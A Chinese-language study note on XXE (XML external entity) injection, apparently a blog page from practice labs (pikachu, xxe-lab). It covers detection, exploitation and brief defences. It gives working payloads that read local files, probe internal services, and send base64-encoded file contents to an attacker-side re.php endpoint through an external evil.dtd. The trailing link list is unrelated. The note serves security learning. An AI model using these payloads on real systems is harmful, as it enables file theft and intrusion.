当前位置: 首页 > news >正文

网络安全笔记 -- XXEXML(利用、检测、绕过)

1. 概念

XML: 指可扩展标记语言,被设计用来传输和存储数据。

XXE: 全称(XML External Entity Injection)XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

2. 检测和利用

2.1 概要

检测

  • 白盒: 函数及可控变量查找、传输和存储数据格式类型
  • 黑盒: 人工、 工具

人工检测包含:

  • 数据格式类型判断:<user>test</user><pass>Mikasa</pass>
  • Content-Type值判断:text/xml、application/xml
  • 更改Content-Type值看返回

利用

  • 输出形式:有回显(http、file、各脚本协议、外部引用)、无回显(外部引用-反向链接配合)
  • 过滤绕过:协议玩法、外部引用、编码UTF-16BE

2.2 实例

2.2.1 pikachu平台实例(有回显)

在这里插入图片描述

读文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///usr//a.txt">
]>
<x>&xxe;</x>

内网探针或攻击内网应用

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ELEMENT foo ANY>
	<!ENTITY rabbit SYSTEM "http://127.0.0.1:8080/index.txt">
]>
<x>&rabbit;</x>

引入外部实体dtd(需要开启 “允许外部条件使用”)

<?xml version = "1.0" ?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM "http://127.0.0.1:8080/evil.dtd">
	%file;
]>
<x>&send;</x>

evil.dtd文件:

<!ENTITY send SYSTEM "file:///usr//a.txt">

2.2.2 pikachu平台实例(无回显)

读取文件,将文件内容发送到特定网站(攻击者网站),通过查看日志文件得到结果

<!DOCTYPE ANY [
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///usr//a.txt">
	<!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/evil.dtd">
	%dtd;
	%send;
]>

evil.dtd文件:

<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8080/re.php?data=%file;'>"
 >
%payload;

2.2.3 xxe-lab平台实例

检测思路和利用

  1. 提交的数据包包含XML格式如:
    admin123
  2. 请求头中如:
    Content-Type: application/xml;charset=utf-8
    Content-Type: text/xml;charset=utf-8
  3. 构造payload,并上传
<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///usr//a.txt">
]>
<user><username>&xxe;</username><password>1</password></user>

在这里插入图片描述
在这里插入图片描述

3. 防御

1. 禁用外部实体
PHP
Python
Java

2. 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

3. 使用WAF产品

相关文章:

  • c语言小项目(静态通讯录)
  • 数据结构与算法——左程云09
  • C++异常
  • 【ASM】字节码操作 如何使用 visitFrame
  • 【Spring Boot 集成应用】 OAUTH2统一认证单点登录中的各种模式说明
  • 数据链路层的检错技术——循环冗余校验CRC(Cyclic Redundancy Check)
  • 【C++】IO流
  • Pytorch理解
  • 区块链中的隐私保护技术
  • postgres 源码解析 元组插入流程 Heap_Insert
  • 什么是数字化转型? 怎样算是转型?
  • js单行代码------日期和时间
  • 公众号网课查题接口
  • 科莱瑞迪IPO被终止:曾拟募资3.4亿 詹德仁夫妇控制63%股权
  • OpenCV入门(十三):常用图形绘制
  • 《Javascript高级程序设计 (第三版)》第五章 引用类型
  • 【Redis学习笔记】2018-06-28 redis命令源码学习1
  • Django 博客开发教程 8 - 博客文章详情页
  • HTTP--网络协议分层,http历史(二)
  • JAVA 学习IO流
  • Javascript弹出层-初探
  • Linux编程学习笔记 | Linux IO学习[1] - 文件IO
  • mongo索引构建
  • spring cloud gateway 源码解析(4)跨域问题处理
  • SQLServer之创建显式事务
  • Stream流与Lambda表达式(三) 静态工厂类Collectors
  • v-if和v-for连用出现的问题
  • Wamp集成环境 添加PHP的新版本
  • 阿里云ubuntu14.04 Nginx反向代理Nodejs
  • 对话 CTO〡听神策数据 CTO 曹犟描绘数据分析行业的无限可能
  • 记一次用 NodeJs 实现模拟登录的思路
  • 利用阿里云 OSS 搭建私有 Docker 仓库
  • 三分钟教你同步 Visual Studio Code 设置
  • 通过git安装npm私有模块
  • 做一名精致的JavaScripter 01:JavaScript简介
  • FaaS 的简单实践
  • 正则表达式-基础知识Review
  • # MySQL server 层和存储引擎层是怎么交互数据的?
  • $refs 、$nextTic、动态组件、name的使用
  • (1)Android开发优化---------UI优化
  • (MATLAB)第五章-矩阵运算
  • (PWM呼吸灯)合泰开发板HT66F2390-----点灯大师
  • (PyTorch)TCN和RNN/LSTM/GRU结合实现时间序列预测
  • (附源码)spring boot建达集团公司平台 毕业设计 141538
  • (规划)24届春招和25届暑假实习路线准备规划
  • (免费领源码)Python#MySQL图书馆管理系统071718-计算机毕业设计项目选题推荐
  • (排序详解之 堆排序)
  • (转) RFS+AutoItLibrary测试web对话框
  • (转)Unity3DUnity3D在android下调试
  • ..thread“main“ com.fasterxml.jackson.databind.JsonMappingException: Jackson version is too old 2.3.1
  • .apk文件,IIS不支持下载解决
  • .NET Core 网络数据采集 -- 使用AngleSharp做html解析
  • .net mvc actionresult 返回字符串_.NET架构师知识普及
  • .NET/C# 项目如何优雅地设置条件编译符号?
  • .NET/C# 在代码中测量代码执行耗时的建议(比较系统性能计数器和系统时间)...